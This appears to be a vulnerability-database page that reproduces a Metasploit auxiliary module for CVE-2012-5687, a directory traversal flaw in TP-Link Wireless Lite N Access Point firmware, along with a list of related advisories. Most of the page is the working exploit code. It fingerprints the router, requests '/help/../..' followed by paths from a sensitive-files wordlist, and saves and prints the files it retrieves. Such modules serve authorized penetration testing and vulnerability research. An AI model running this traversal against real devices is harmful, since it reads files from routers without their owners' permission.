Lucene search
+L

TP-Link Wireless Lite N Access Point Directory Traversal Vulnerability

🗓️ 23 Mar 2013 21:25:04Reported by Michael Messner <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 61 Views

This module tests directory traversal vulnerability in TP-Link Wireless Lite N Access Point 3.12.16 Build 120228 Rel.37317n

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2012-5687
29 May 201815:50
circl
checkpoint_advisories
Check Point Advisories
TP-Link Wireless Lite N Access Point Directory Traversal (CVE-2012-5687)
15 Oct 201300:00
checkpoint_advisories
cve
CVE
CVE-2012-5687
1 Nov 201210:00
cve
cvelist
Cvelist
CVE-2012-5687
1 Nov 201210:00
cvelist
exploitdb
Exploit DB
TP-Link TL-WA701N / TL-WA701ND - Multiple Vulnerabilities
15 Feb 201300:00
exploitdb
nvd
NVD
CVE-2012-5687
1 Nov 201210:44
nvd
openvas
OpenVAS
TP-LINK TL-WR841N Router LFI Vulnerability (Oct 2012) - Active Check
30 Oct 201200:00
openvas
packetstorm
Packet Storm
TP-LINK TL-WR841N Local File Inclusion
29 Oct 201200:00
packetstorm
packetstorm
Packet Storm
TP-Link Wireless Lite N Access Point Directory Traversal
1 Sep 202400:00
packetstorm
prion
Prion
Directory traversal
1 Nov 201210:44
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'TP-Link Wireless Lite N Access Point Directory Traversal Vulnerability',
      'Description' => %q{
          This module tests whether a directory traversal vulnerability is present in
        versions of TP-Link Access Point 3.12.16 Build 120228 Rel.37317n.
      },
      'References'  =>
        [
          [ 'CVE', '2012-5687' ],
          [ 'OSVDB', '86881' ],
          [ 'BID', '57969' ],
          [ 'EDB', '24504' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-011' ]
        ],
      'Author'      => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
      'License'     => MSF_LICENSE
    )

    register_options(
      [
        OptPath.new('SENSITIVE_FILES',  [ true, "File containing sensitive files, one per line",
          File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
      ])
  end

  def extract_words(wordfile)
    return [] unless wordfile && File.readable?(wordfile)

    begin
      File.readlines(wordfile, chomp: true)
    rescue ::StandardError => e
      elog(e)
      []
    end
  end

  def find_files(file)
    traversal = '/../..'

    res = send_request_cgi(
      {
        'method'  => 'GET',
        'uri'     => '/help' << traversal << file,
        })

    return if res.nil?
    return if (res.headers['Server'].nil? or res.headers['Server'] !~ /TP-LINK Router/)
    return if (res.code == 404)
    return if (res.code == 501)

    if (res and res.code == 200 and res.body !~ /\<\/HTML/)
      out = false

      print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
      report_web_vuln({
        :host     => rhost,
        :port     => rport,
        :vhost    => datastore['VHOST'],
        :path     => "/",
        :pname    => normalize_uri(traversal, file),
        :risk     => 3,
        :proof    => normalize_uri(traversal, file),
        :name     => self.fullname,
        :category => "web",
        :method   => "GET"
        })

      loot = store_loot("tplink.traversal.data","text/plain",rhost, res.body,file)
      vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")

      if datastore['VERBOSE']
        vprint_good("#{rhost}:#{rport} - Response - File #{file}:")
        res.body.each_line do |line|
          # the following is the last line of the useless response
          if line.to_s =~ /\/\/--><\/SCRIPT>/
            # setting out = true to print all of the following stuff
            out = true
            next
          end
          if out == true
            if line =~ /<META/ or line =~ /<Script/
              # we are finished :)
              # the next line is typical code from the website and nothing from us
              # this means we can skip this stuff ...
              out = false
              next
            else
              #it is our output *h00ray*
              #output our stuff ...
              print_line("#{line}")
            end
          end
        end
        out = false
      end
    elsif res && res.code
      vprint_error("#{rhost}:#{rport} - File->#{file} not found")
    end
  end

  def run_host(ip)

    begin
      vprint_status("#{rhost}:#{rport} - Fingerprinting...")
      res = send_request_cgi(
        {
          'method'  => 'GET',
          'uri'	 => '/',
        })

      return if (res.headers['Server'].nil? or res.headers['Server'] !~ /TP-LINK Router/)

    rescue ::Rex::ConnectionError
      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
      return
    end

    extract_words(datastore['SENSITIVE_FILES']).each do |files|
      find_files(files) unless files.empty?
    end

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2024 20:02Current
7.3High risk
Vulners AI Score7.3
CVSS 27.8
EPSS0.68716
61